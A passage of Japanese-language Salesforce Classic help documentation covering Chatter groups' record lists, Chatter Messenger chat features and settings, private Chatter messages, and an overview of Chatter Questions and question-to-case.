Chatter Free ユーザなど権限がないグループメンバーは、グループまたはその他の場所でレコードやレコード
フィードを表示できません。

• 顧客を許可するグループではレコードを作成できません。
• システム管理者がレコードをグループに追加する機能を有効にしている場合は、次も可能です。

– グループ内で新しいレコードを作成したときに、既存のレコードを追加した場合と同様に、グループと
レコード間のリレーションが自動的に作成されます。

– グループレコードリストに、追加したレコードと作成したレコードが表示されます。
Chatter グループからレコードを削除できます。

Chatter グループへの既存のレコードの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

ユーザ権限

グループレコードを参照
する、またはレコードを
グループに追加する
• レコードに対する「参

照」
• グループへのアクセス

権

レコードをグループに追加して、チームでレコードに関するコラボレーション
やディスカッションを行えるようにします。
1. グループパブリッシャーから、[レコードの追加] をクリックします。

メモ: このオプションが表示されない場合、システム管理者がレコード
の追加アクションをグループパブリッシャーに追加する必要がありま
す。顧客を許可するグループにはレコードを追加できません。

2. [レコード] リストからレコードのタイプを選択します。
取引先、取引先責任者、リード、商談、契約、キャンペーン、ケース、およ
びカスタムオブジェクトのレコードを追加できます。その他のオブジェクト
はサポートされていません。

3. 空白の検索項目に、検索するレコードの名前を入力して、 をクリックし
ます。選択したタイプの使用可能なすべてのレコードを検索するには、項目
を空白のままにします。

4. ルックアップ検索結果リストから、グループに追加するレコードをクリック
して選択します。

5. [作成] をクリックします。
レコードがグループに追加されると成功を示すメッセージが表示され、そのレ
コードは [グループレコード] リストに表示されます。システム管理者が [グルー
プ] 関連リストをレコード詳細ページに追加している場合、レコード詳細ページ
にもレコードが関連付けられているグループのリストが表示されます。グルー
プに追加できるレコードの数に制限はありません。

メモ: グループにレコードを追加しても、表示には影響を与えません。必要な権限を (ライセンス、プロ
ファイル、権限セット、または共有によって) 持つユーザのみがグループ内のレコードを表示できます。
たとえば、Chatter Free ユーザにはグループ内のレコードは表示されません。また、取引先と取引先責任者
の参照権限を持つユーザには、グループ内のケースレコードは表示されません。このため、ユーザに表
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示されるレコードの件数が、グループレコードリストに表示される実際の件数よりも少なくなる場合が
あります。

例: 作業中のレコードに関するコラボレーションを行う場としてChatterグループを利用するいくつかの方
法を示します。
• ある取引先と連携して対応する営業チームは、1 つのグループで関連する商談、取引先責任者、リー

ドを追跡できます。権限を持つチームメンバーは、グループから直接レコードにアクセスできます。
新しいチームメンバーは、1 か所であらゆる情報を参照可能なグループを使用して、取引先および子
レコードに関する過去のディスカッションを確認できます。

• カスタマーサービスチームは、グループを使用して処理するケースを追跡できます。このグループを
チームのフォーラムにして、ケースを監視し、解決策を話し合い、よくある問題領域のトレンドを分
析できます。

• マーケティングチームは、グループを使用してキャンペーンを追跡し、イベントを計画し、イベント
に招待する潜在的なリードや取引先責任者について話し合うことができます。また、グループは、
マーケティングの内容やキャンペーンのアイテムについてのコラボレーションを行う最適な場となり
ます。

Chatter グループからのレコードの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

ユーザ権限

グループレコードを削除
する
• オブジェクトに対する

「参照」
• グループへのアクセス

権

使用しなくなったレコードを Chatter グループから削除します。
グループのレコードへのアクセス権があるユーザは、そのレコードをグループ
から削除できます。
1. グループの詳細ページで、[グループレコード] リストの横にある [すべて表

示] をクリックします。

メモ: グループレコードリストは、システム管理者によって既存のレ
コードのグループへの追加が許可されている場合にのみグループの詳細
ページに表示されます。

2. 必要に応じて、[絞り込み条件] リストのオプションを選択して、そのタイプ
のレコードを表示します。

3. 削除するレコードを検索し、そのレコード名の横にある [削除]をクリックし
ます。

グループからレコードを削除した場合、グループとレコード間のリレーション
が削除されますが、レコード自体は削除されません。グループとレコード間の
リレーションはごみ箱から復元できます。
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Chatter Messenger (チャット)
同僚とすぐに安全にチャットします。Chatter Messenger は、Spring '16 リリースより後に作成された新規組織では
使用できません。

Chatter Messenger の使用
チャット画面を拡大または最小化するには、チャットヘッダーをクリックします。チャットの操作性を最
大限に高めるには、チャットリストの をクリックして別のブラウザウィンドウにポップアウトします。
そうすることで、他のサイトを閲覧したり、他のアプリケーションを使用したりしながら、ユーザと簡単
にチャットできます。
チャットリストの使用
チャットリスト使用のヒント。
チャットの [私のお気に入り] リストへのユーザの追加
Chatterでフォローするユーザのリストは長くなることがあります。このような場合、1 人以上のユーザとの
チャットを [私のお気に入り] リストに追加すると、常にそのチャットをチャットリストの上部に表示でき
ます。最大 100 件までチャットを追加できます。
[チャット] の [私のお気に入り] リストからのユーザの削除
チャットする機会があまりないユーザがリストにある場合は、1 人または複数のユーザとのチャットを [私
のお気に入り] リストから削除します。削除後も Chatter でフォローしているユーザは [自分がフォローする
ユーザ] リストに表示されます。
チャット状況の変更
チャットできる状況であれば、チャット可能であることをユーザに知らせます。チャットできない場合は、
自分の状況を [オフライン] に設定します。
ユーザとのチャット
Chatter で 1 人以上のユーザとチャットします。
チャット履歴
チャット履歴を表示します。
チャットへの顔文字の追加
特定の文字と記号を組み合わせて入力すると、ユーモラスな顔文字がチャットの会話に挿入されます。
チャットウィンドウのポップアウト
チャットまたはチャットリストを別のブラウザウィンドウにポップアウトすると、ブラウザを最小化して
いるときや、他のアプリケーションを使用しているときでもチャットを続けることができます。
チャットオプションの編集
チャットのサウンドを変更できますか?
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Chatter Messenger の使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

チャット画面を拡大または最小化するには、チャットヘッダーをクリックしま
す。チャットの操作性を最大限に高めるには、チャットリストの をクリッ
クして別のブラウザウィンドウにポップアウトします。そうすることで、他の
サイトを閲覧したり、他のアプリケーションを使用したりしながら、ユーザと
簡単にチャットできます。
次に、Chatter Messenger の使用時に適用されるいくつかの考慮事項を示します。
• Chatter Messenger は、Spring '16 リリースより後に作成された新規組織では使用

できません。
• システム管理者は組織レベルで Chatter Messenger を無効にできます。さらに、

システム管理者によってプロファイル権限の「API の有効化」権限が選択さ
れている場合にのみ、ユーザは Chatter Messenger にアクセスできます。Salesforce

にログインしたときに Chatter Messenger が表示されない場合は、システム管理
者に連絡してこの機能が無効化されているかどうか確認し、Chatter Messenger

にアクセスするために必要な権限を付与するように依頼してください。
• コミュニティでは、Chatter Messenger を使用できません。Messenger は、ユーザオブジェクトの組織の共有設

定が [公開/参照のみ] に設定されている場合にのみ、内部ユーザが使用できます。
• Chatter Messenger は Microsoft® Internet Explorer®バージョン 7.0 ではサポートされていません。Internet Explorer 7 ユー

ザは、他の Chatter Messenger ユーザにはオフラインとして表示されます。
チャットを使用して、次を行うことができます。
• チャットできるかどうかを知らせる。
• 他のユーザとチャットする。
• [私のお気に入り] リストにユーザを追加する、およびリストからユーザを削除する。
• 別のブラウザウィンドウにチャットをポップアウトする。
• 他のユーザとチャットするときに顔文字を使う。
• 音や通知など、チャットオプションをカスタマイズする。
• チャット履歴を参照する。

関連トピック:

Chatter メッセージ
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チャットリストの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

チャットリスト使用のヒント。

メモ: Chatter Messenger は、Spring '16 リリースより後に作成された新規組織で
は使用できません。

• フォローしていないユーザを含め、オンラインのChatterユーザをすばやく見
つけてチャットするには、チャットリスト上部にある検索ボックスを使用し
ます。

• アクティブなチャット間を切り替えるには、現在のチャットリストにある
チャットをクリックします。

• チャットリストにユーザを追加するには、Chatterでそのユーザをフォローし
ます。

• よくチャットする人を [私のお気に入り] リストに追加します。
• チャットオプションをカスタマイズするには、 をクリックします。
• チャットの状況を変更するには、チャットリストの上部にある状況をクリックします。
• チャットが最小化されているときは、新しいメッセージがあるかどうかを示す新着メッセージインジケー

タ が表示されます。

関連トピック:

チャット状況の変更

チャットの [私のお気に入り] リストへのユーザの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

Chatter でフォローするユーザのリストは長くなることがあります。このような
場合、1 人以上のユーザとのチャットを [私のお気に入り]リストに追加すると、
常にそのチャットをチャットリストの上部に表示できます。最大100件までチャッ
トを追加できます。

メモ: Chatter Messenger は、Spring '16 リリースより後に作成された新規組織で
は使用できません。

• 1 人以上とのアクティブなチャット中に、チャットをお気に入りとして保存
するには、 をクリックします。

• [自分がフォローするユーザ] リストから 1 人のユーザをクリックして、[私の
お気に入り] リストにドラッグすることもできます。

• [私のお気に入り] リストでは、複数のユーザとのチャットの名前を変更でき
ます。[私のお気に入り] の横にある [編集] をクリックし、名前を変更する複
数ユーザとのチャットをクリックして、新しい名前を入力します。たとえ
ば、Sue、John、Jeffとのお気に入りのチャットがある場合、「営業チーム」に名前を変更できます。す
べての名前は一意である必要があります。

関連トピック:

チャットリストの使用
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[チャット] の [私のお気に入り] リストからのユーザの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

チャットする機会があまりないユーザがリストにある場合は、1 人または複数の
ユーザとのチャットを [私のお気に入り]リストから削除します。削除後もChatter

でフォローしているユーザは [自分がフォローするユーザ] リストに表示されま
す。

メモ: Chatter Messenger は、Spring '16 リリースより後に作成された新規組織で
は使用できません。

1. [私のお気に入り] リストの横にある、[編集] をクリックします。
2. 削除するチャットの名前の横にある ボタンをクリックします。
3. リストからチャットを削除したら、[私のお気に入り] リストの横にある [完

了] をクリックします。

アクティブなチャットで アイコンをクリックして、[私のお気に入り] リス
トからチャットを削除することもできます。

関連トピック:

チャットの [私のお気に入り] リストへのユーザの追加

チャット状況の変更

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

チャットできる状況であれば、チャット可能であることをユーザに知らせます。
チャットできない場合は、自分の状況を [オフライン] に設定します。
他のユーザは、次の場所であなたの状況を確認できます。
• チャットリスト
• あなたのプロファイル
• [人] のフロート表示
チャット状況を変更するには、チャットリストの上部にある [チャット可能]、
[退席中]、または [オフライン] をクリックします。たとえば、状況が [チャット
可能] に設定されるがチャットしたくない場合は、[チャット可能] をクリックし
て [オフライン] を選択します。
アイドル状態が 15 分間続くと、状況は自動的に [アイドル状態] に変わります。
この設定を変更するには、[チャット] > [ ] > [オプション] をクリックしてから
[一般設定] を選択します。

メモ: システム管理者が組織のチャットを有効または無効にします。Chatter Messenger は、Spring '16 リリー
スより後に作成された新規組織では使用できません。

関連トピック:

チャットオプションの編集
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ユーザとのチャット

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

Chatter で 1 人以上のユーザとチャットします。

メモ: Chatter Messenger は、Spring '16 リリースより後に作成された新規組織で
は使用できません。

1. オンラインの Chatter ユーザとのチャットを開始します。
• 組織のユーザを見つけてチャットするには、Chatter Messenger の上部にあ

る検索ボックスを使用します。または、[自分がフォローするユーザ] リス
トか [私のお気に入り] リストで名前をクリックします。

• ユーザのプロファイルから、 [チャットを開始] をクリックします。
• 任意のフィードから、ユーザの名前にマウスポインタを置いて、 [チャッ

トを開始] をクリックします。

2. 必要に応じて、最大 10 人のユーザをチャットに追加できます。
a. チャットリストからアクティブなチャットにユーザをドラッグするか、アクティブなチャットの上部に

ある をクリックして、Chatter でオンラインユーザを検索して追加します。
b. チャットに含める必要があるユーザ全員を追加するまで繰り返します。

をクリックすると、チャットに参加している全員のリストが表示されます。

メモ: 複数のユーザとのチャットからチャットを開始したユーザが退出した場合、残りの参加者でチャッ
トを継続できます。もう一度チャットに参加するには、追加し直してもらう必要があります。

関連トピック:

チャット状況の変更

チャット履歴

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

チャット履歴を表示します。

メモ: Chatter Messenger は、Spring '16 リリースより後に作成された新規組織で
は使用できません。

他のユーザとチャットを開始すると、最新の 72 時間以内のそのユーザとの会話
が自動的に表示されます。72 時間を経過した会話は削除され、取得できません。
最新の 72 時間以内のすべての会話のリストを表示する手順は、次のとおりで
す。
1. チャットヘッダーをクリックして、チャットウィンドウを展開します。
2. をクリックします。
3. チャット履歴を表示する相手の名前をクリックします。

関連トピック:

Chatter Messenger の使用
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チャットへの顔文字の追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

特定の文字と記号を組み合わせて入力すると、ユーモラスな顔文字がチャット
の会話に挿入されます。

メモ: Chatter Messenger は、Spring '16 リリースより後に作成された新規組織で
は使用できません。

次の顔文字を使用できます。

入力文字顔文字

:-), :), :], =)

:-(, :(, :[, =(

:-D, :D, =D

:-O, :O, :-o, :o

:-P, :P, :-p, :p, =P

;-), ;)

[チャット] > [ ] > [オプション] で顔文字をオフにできます。

関連トピック:

チャットオプションの編集

チャットウィンドウのポップアウト

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

チャットまたはチャットリストを別のブラウザウィンドウにポップアウトする
と、ブラウザを最小化しているときや、他のアプリケーションを使用している
ときでもチャットを続けることができます。

メモ: Chatter Messenger は、Spring '16 リリースより後に作成された新規組織で
は使用できません。

• アクティブなチャットまたはチャットリスト全体の右上隅にある をクリッ
クして、ポップアウトします。

• ポップアウトしたチャットまたはチャットリストの右上隅にある をクリッ
クして、Salesforce 画面にポップインして戻ります。

関連トピック:

チャットオプションの編集
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チャットオプションの編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

メモ: Chatter Messenger は、Spring '16 リリースより後に作成された新規組織で
は使用できません。

チャットオプションを編集するには、チャットウィンドウの右上隅にある を
クリックして、[オプション] をクリックします。

ヒント: をクリックすると、チャットリストの[お気に入り]、[自分がフォ
ローする人]、および [オフラインの人]の表示をすばやく切り替えることも
できます。オプションを [音を鳴らす] および [顔文字を表示する] に切り替
えることもできます。

一般設定

説明オプション

オンにした場合、Salesforceアプリケーションのアイドル状
態が指定した時間続くと、状況は「退席中」に変化しま
す。

15 分後に状況を
[退席中] に変更す
る

オンにした場合、:-) や :-( などの標準のテキスト顔文
字をチャットの参加者が入力すると、 や などの画像
が表示されます。

顔文字を表示する

オンにした場合、各メッセージの上にマウスポインタを置
いたときのみ、チャットメッセージのタイムスタンプが表

メッセージの上に
マウスポインタを
置いたときのみタ 示されます。オフにした場合、タイムスタンプは、各
イムスタンプを表
示する チャットメッセージと状況の変更にインラインで表示され

ます。

サウンドと通知

説明オプション

オンにした場合、誰かがあなたと新しいチャットを開始するときにサウンドが
鳴ります。

メッセージの受信時に音を
鳴らす

メモ: チャットが最小化されていたり、チャットにフォーカスがなかった
り (たとえば、複数のチャットを使用している)、または他のアプリケーショ
ンまたはブラウザタブを使用していたりする場合は、メッセージを受信す
るたびにサウンドが鳴ります。

オンにした場合、新しいチャットメッセージを受け取ると、ブラウザタブに「新
規チャットメッセージがあります」という通知が表示されます。

メッセージの受信時にブラ
ウザのタブにアラートを表
示する
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チャットリスト
チャットリストで参照する人のリストを選択します。
• お気に入り
• 自分がフォローする人
• オフラインの人を表示する

関連トピック:

チャットへの顔文字の追加
チャット状況の変更

チャットのサウンドを変更できますか?

サウンドと通知の設定を変更するには、[チャット] >  > [オプション] に移動し、[音と通知] を選択します。

関連トピック:

チャットオプションの編集

非公開メッセージ
Chatter メッセージを使用して、他の Chatter ユーザと非公開の会話を安全に行うことができます。

Chatter メッセージ
他の人に非公開の質問を送信したり、一緒に仕事をしているすべてのユーザには関係しない議論を、選択
した数人のユーザとやり取りしたりします。ファイルを共有したときにも、メッセージで共有相手に通知
します。
Chatter メッセージの検索
Chatter メッセージの送信
メッセージを送信して、Chatter で非公開で連絡します。

Chatter メッセージ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

他の人に非公開の質問を送信したり、一緒に仕事をしているすべてのユーザに
は関係しない議論を、選択した数人のユーザとやり取りしたりします。ファイ
ルを共有したときにも、メッセージで共有相手に通知します。
メッセージが、フィード、プロファイル、グローバル検索結果、またはその他
の Chatter の公開部分に表示されることはありません。
メッセージを表示するには、[Chatter] タブで [メッセージ]リンクをクリックしま
す。[私のメッセージ] ページでは、次の操作を実行できます。
• 会話ごとに最近のメッセージを表示する。最も新しいメッセージがリストの

最上部に表示されます。
• 会話で最近のメッセージを送信したユーザの写真を表示する。
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• 未読メッセージ ( ) があるか確認する。
• 会話で自分が最近の返信 ( ) を送信したかどうかを確認する。
• いずれかのメッセージをクリックして、その会話でやりとりしたメッセージの全履歴を表示する。
• [新規メッセージ] をクリックしてメッセージを送信する。
メッセージは会話単位にまとめられます。各会話は、参加するユーザの固有な組み合わせごとに定義されま
す。たとえば、あなたが Sally Smith にメッセージを送信したとします。Sally が返信すると、Sally のメッセージは
あなたとの 1 対 1 の会話の続きとして表示されます。あなたから Sally に送信する新しいメッセージはすべて、
異なるトピックに関するものでも、同じ会話に追加されます。時間と共に、Sally とこれまでやりとりしたメッ
セージがすべて含まれる、詳細な会話履歴が構築されます。一方、あなたが Sally Smith と Bob Johnson の両方に
メッセージを送信したとします。そのメッセージは、あなた、Sally、Bob の間で交わされた別個の会話の一部
とみなされます。Sally が返信すると、そのメッセージは、あなたと Sally の 1 対 1 の会話とは別の会話に追加さ
れます。
Chatter メッセージを使用する場合は、次のヒントを考慮してください。
• メッセージは、Chatter 組織の誰にでも送信できます。自分がフォローしている人、自分をフォローしてい

る人、自分が所属するグループ、受信者が顧客かどうかは関係ありません。
• 会話には、自分を含めて 2 ～ 10 人まで含めることができます。自分にメッセージを送信することはできま

せん。
• 会話の参加者は、いずれかのユーザが会話の最初のメッセージを送信したときに決定します。最初のメッ

セージが送信された後に、会話に人を追加または会話から人を削除することはできません。
• 他のユーザが返信すると、[Chatter] タブの [メッセージ]リンクに、会話数と新しいメッセージが表示されま

す。すでに Chatter メール通知を受信している場合、新しいメッセージが自動的に通知されるようになりま
す。

• メッセージまたは会話は削除できません。
• 会話のメッセージを読んだ後にその会話を未読にする場合、ユーザインターフェースからではなく、Chatter

REST API からのみ設定できます。

Chatter メッセージの検索

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Chatterメッセージに含まれる人やテキストを検索する手順は、次のとおりです。
1. [私のメッセージ] で、メッセージの上にある検索ボックスに検索語を入力し

ます。検索をするときは、次の簡単なヒントを参考にしてください。
• 会話のリストを表示している場合、すべての会話を対象に一致が検索さ

れます。1 つの会話を表示している場合、その会話のみを対象に一致が検
索されます。

• 人の名前を検索すると (bob johnson など)、テキストに「Bob Johnson」
の名前が含まれる会話と、Bob Johnson が参加している会話の両方が検索
されます。自分自身の名前を検索する場合、検索結果には、自分のメッ
セージと会話のすべてが含まれます。これは、自分がすべての会話に参
加しているためです。
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• 「bob jo」を検索すると、Bob Jones と Bob Johnson の両方とも検索されます。自動的に * (アスタリスク)

ワイルドカード (bob jo*) が入力されたかのように bob jo で開始する語が検索されます。
• 「顧客」という語を検索すると、メッセージのテキストに含まれる「顧客」という語が検索されて表示

されます。一致には、会話の参加者リストで顧客として識別された人は含まれません。

2. [検索] をクリックします。
3. 検索結果が表示されたら、次の操作を実行できます。

• 検索を絞り込むには、追加の検索語を入力するか、ワイルドカードまたは演算子を使用します。
• 最初にすべての会話を検索した場合、会話全体を表示するにはメッセージをクリックします。
参加者リストに一致する名前があり、会話に多くの人が参加している場合は、参加者リストに全員の名前
が表示されないこともあるため、一致が表示されない可能性もあります。つまり、該当する名前を含む会
話は一致として表示されますが、強調表示された一致する名前は表示されない場合があります。

検索語をクリアするには、 をクリックします。返信を入力するか、新規メッセージを送信するか、または
[私のメッセージ] 以外に移動すると、Chatter は自動的に検索をクリアします。

関連トピック:

Salesforce Classic のユーザとのファイルの共有

Chatter メッセージの送信

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

メッセージを送信して、Chatter で非公開で連絡します。
Chatter メッセージを送信する手順は、次のとおりです。
1. 次のいずれかの場所からメッセージを開始します。

• [Chatter] タブの [メッセージ] リンクをクリックして、[私のメッセージ] の
[新規メッセージ] をクリックします。

• Chatterの任意の場所でユーザの名前をクリックしてそのユーザのプロファ
イルを表示し、[メッセージを送信] をクリックします。

• ユーザのフロート表示で [メッセージを送信] をクリックします。
• 会話の全メッセージ履歴を表示している場合は、最新メッセージの下に

あるテキストボックスを使用して返信を送信します。
• 受信したメッセージに関するメール通知を表示している場合は、Chatterへ

のメール返信が有効であれば、メールに返信します。
他の人とファイルを共有した場合も、Chatter メッセージが送信されます。ファイルを共有すると、受信者
に自動的にメッセージが送信され、ファイルが共有されたことと、指定した追加情報が伝えられます。

2. [メッセージを送信] ダイアログボックスでメッセージを開始した場合は、人の名前を受信者リストに追加
できます。[宛先] 項目に名前を入力し、名前をクリックして選択します。追加する名前を入力して、会話
に人を追加します。
会話内またはメールで返信する場合は、会話の参加者を変更できません。

3. メッセージを入力します。メッセージは 10,000 文字以下で入力します。
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4. 次に示す適切なメソッドでメッセージを送信します。
• [メッセージを送信] ダイアログボックスで、[送信] をクリックします。
• 会話内で返信する場合は、[返信] (会話に複数の受信者がいる場合は [全員に返信]) をクリックします。
• メールで返信する場合は、使用するメールアプリケーションの [送信] オプションを使用します。

メッセージが既存の会話の続きである場合、自分の返信は会話に追加され、[私のメッセージ] のリストの最上
部に表示されます。これまでメッセージをやりとりしたことのない受信者の組み合わせにメッセージを送信し
て、新しい会話を開始した場合、自分のメッセージは [私のメッセージ] の最上部に新規会話として表示されま
す。

関連トピック:

Chatter メール通知への返信

Chatter の質問
質問がありますか。Chatter の質問を使用して、Chatter フィードに質問を投稿してから、寄せられる解決策を確
認します。

Chatter の質問
Chatter の質問でコミュニティエンゲージメントを内部的および外部的に促進し、最適なセルフサービスコ
ミュニティを拡張します。
Chatter での類似質問および類似記事の表示
Chatter の質問では、ユーザの質問時に質問を入力すると類似質問および関連する Salesforce ナレッジ記事が
表示されるため、Salesforce および Chatter を使用するコミュニティでの重複するコンテンツの削減に役立ち
ます。
カスタマーサービス (Napili) テンプレート検索での類似質問および類似記事の表示
コミュニティユーザが類似した質問をすることがあります。Chatter の質問では、ユーザが [検索] 項目に質
問を入力したときに類似質問および関連する Salesforce ナレッジ記事が表示されるため、カスタマーサービ
ス (Napili) テンプレートで構築されたセルフサービスコミュニティでの重複するコンテンツの削減に役立ち
ます。
Chatter の質問の類似記事の有効化
ユーザがChatterで質問をすると、入力と同時に類似質問が表示されます。質問だけでなく関連するSalesforce

ナレッジ記事も表示するには、類似記事を有効にします。
Chatter の質問に対する最良の回答の選択
Chatter で質問をすることの利点の 1 つは、質問に対する最良の回答をユーザが選択できることです。質問
に最良の回答があれば、ユーザは最良の回答を直接参照して問題を迅速に解決できます。
FAQ - Chatter の質問
Chatter の質問では、コミュニティおよび Salesforce のユーザがフィードで質問することができます。この機
能のよくある質問を見てみましょう。
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Salesforce 組織およびコミュニティでの Chatter の質問の使用の追跡
標準のレポートとダッシュボードを使用して、組織またはコミュニティで Chatter の質問の使用や採用につ
いて把握します。
Salesforce の Q&A 機能の相違点
Salesforce には、Salesforce 組織およびコミュニティで実装できるさまざまな Q&A 機能が備えられています。
一部の機能では類似した用語が使用されているため、各機能の相違点を確認してください。
質問-to-ケースの概要
質問-to-ケースにより、モデレータが Chatter の質問からケースを作成できるため、顧客の問題をより簡単に
追跡および解決できます。質問-to-ケースは、Salesforce フルサイトおよび Salesforce1 モバイルブラウザアプ
リケーションのほか、Chatter の質問が有効になっているコミュニティでも使用できます。
質問-to-ケースの設定
コミュニティ、Salesforce 組織、またはその両方に質問-to-ケースを追加します。
質問-to-ケースを有効にする
質問-to-ケースでは、モデレータが Chatter の質問からケースを作成し、顧客の質問をすばやく解決できま
す。コミュニティ、Salesforce 組織、またはその両方で質問-to-ケースを有効化します。
[ケースの詳細] ビューへ [Chatter からの質問] 項目を追加する
Chatter で質問からケースが作成されると、ケースの詳細ページの [Chatter からの質問] 項目に元の質問
へのリンクが表示されます。この項目は、エージェントがフィードにすばやく移動するのに役立ちます。
フィード項目レイアウトへの [ケースにエスカレーション] アクションの追加
[ケースにエスカレーション] アクションを [Chatter の質問] ページに追加することで、質問からケースを作成
する機能をモデレータに提供します。このアクションは、組織で質問-to-ケースを有効にすると自動的に作
成されます。
[ケースにエスカレーション] アクションへのアクセス権を確認する
Salesforce組織でケースに複数のレコードタイプを使用している場合、質問-to-ケースが必要なプロファイル
に、[ケースにエスカレーション] アクションに関連付けられたレコードタイプへのアクセス権があること
を確認します。組織でケースに 1 つのレコードタイプのみを使用している場合、このプロセスはスキップ
してください。
[ケースにエスカレーション] アクションレイアウトをカスタマイズする
各ケースで追跡する必要がある情報に基づいて、[ケースにエスカレーション] アクションに表示される項
目、およびその順番を選択します。
質問からのケースをキューに自動的に割り当てる
ケースの割り当てルールは質問-to-ケースではサポートされていないため、デフォルトでは、質問から作成
されたケースはその質問をエスカレーションするモデレータに割り当てられます。エージェントがケース
を要求できるように、質問から作成されたケースをキューに自動的に追加するワークフロールールまたは
プロセスを作成できます。
Chatter での未解決の質問からケースの自動作成
コミュニティまたは組織を構築する場合、ユーザの質問にスピーディに回答できるようにします。質問-to-

ケースでは、モデレータがフィードで未解決の質問をケースにエスカレーションできますが、Lightning プ
ロセスビルダーで (ワークフロールールに似ている) プロセスを設定することで、さらに効率的なケース解
決プロセスを作成できます。指定された条件を満たす質問から自動的にケースを作成するプロセスを設定
します。
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Chatter の質問からのケースの作成
Chatter の質問が解決されていない場合、モデレータは質問からケースを作成できます。質問-to-ケースが組
織またはコミュニティで有効化されている必要があります。

Chatter の質問

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Developer Edition、
Performance Edition、
Enterprise Edition、および
Unlimited Edition

Chatter の質問でコミュニティエンゲージメントを内部的および外部的に促進し、
最適なセルフサービスコミュニティを拡張します。
Chatter の質問では、ユーザが Chatter パブリッシャーのアクションドロップダウ
ンメニューで [質問] を選択して、Chatter フィード、グループ、およびレコード
内で質問することができます。質問後は、モデレータおよび質問者が最良の回
答を選択できます。最良の回答はフィード内に目立つように表示されるため、
他のユーザが必要な情報をすばやく簡単に見つけられます。
ユーザは質問のタイトルと質問の詳細で情報を整理できます。他の Chatter フィー
ド項目と同様に、フォロワー、グループ、または特定の人物に質問することが
できます。

組織で Chatter の質問を有効化するには、[質問] アクションをグローバルパブリッシャーレイアウトに追加しま
す。組織が Summer '14 以降で作成された場合、質問アクションは自動的に追加されていますが、見やすくする
ために左端にドラッグすることをお勧めします。グループまたはレコードでカスタマイズしたパブリッシャー
レイアウトを使用している場合、[質問] アクションがそれらのレイアウトにも追加されたことを確認します。
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Chatter デスクトップでは Chatter の質問はサポートされません。

関連トピック:

Chatter の質問に対する最良の回答の選択
Salesforce 組織およびコミュニティでの Chatter の質問の使用の追跡
FAQ - Chatter の質問

Chatter での類似質問および類似記事の表示

エディション

使用可能なエディション:
Salesforce Classic

Chatter の質問を使用可能
なエディション: Group
Edition、Professional
Edition、Developer
Edition、Performance
Edition、Enterprise
Edition、および Unlimited
Edition

Chatter の質問では、ユーザの質問時に質問を入力すると類似質問および関連す
る Salesforce ナレッジ記事が表示されるため、Salesforce および Chatter を使用する
コミュニティでの重複するコンテンツの削減に役立ちます。

メモ:

• Chatterを使用するコミュニティには、Salesforceタブ + Visualforceで構築さ
れたコミュニティが含まれます。

• 類似質問および類似記事の検索機能は、カスタマーサービス (Napili)テン
プレートで構築されたコミュニティでも使用できます。詳細は、「カス
タマーサービス (Napili)テンプレート検索での類似質問および類似記事の
表示」を参照してください。

• 類似質問および類似記事は Salesforce1 またはモバイルブラウザでは使用
できません。

ユーザがChatterに質問を入力すると、質問のタイトル項目の下にあるドロップダウンリストに類似質問が自動
的に表示されます。類似質問と共に関連するナレッジ記事が表示されるようにするには、類似記事を有効にし
ます。
• 1: 本アイコンと疑問符アイコンは、検索結果が記事なのか質問なのかを示します。
• 2: 質問結果には、質問のタイトル、回答数、および緑色のフラグと [回答済み] というテキスト (最良の回

答が選択されている場合) が表示されます。
最大 10 件の結果がドロップダウンリストに表示されます (記事の前に質問が表示される)。Salesforceでは、同じ
数の質問と記事が表示されますが、質問が不足している場合は記事が、記事が不足している場合は質問が追加
表示されます。ユーザが入力したテキストに一致する質問または記事のタイトルがない場合、ドロップダウン
リストは表示されません。
ドロップダウンの結果は、ユーザが入力したテキストが質問または記事のタイトルに含まれているかどうかに
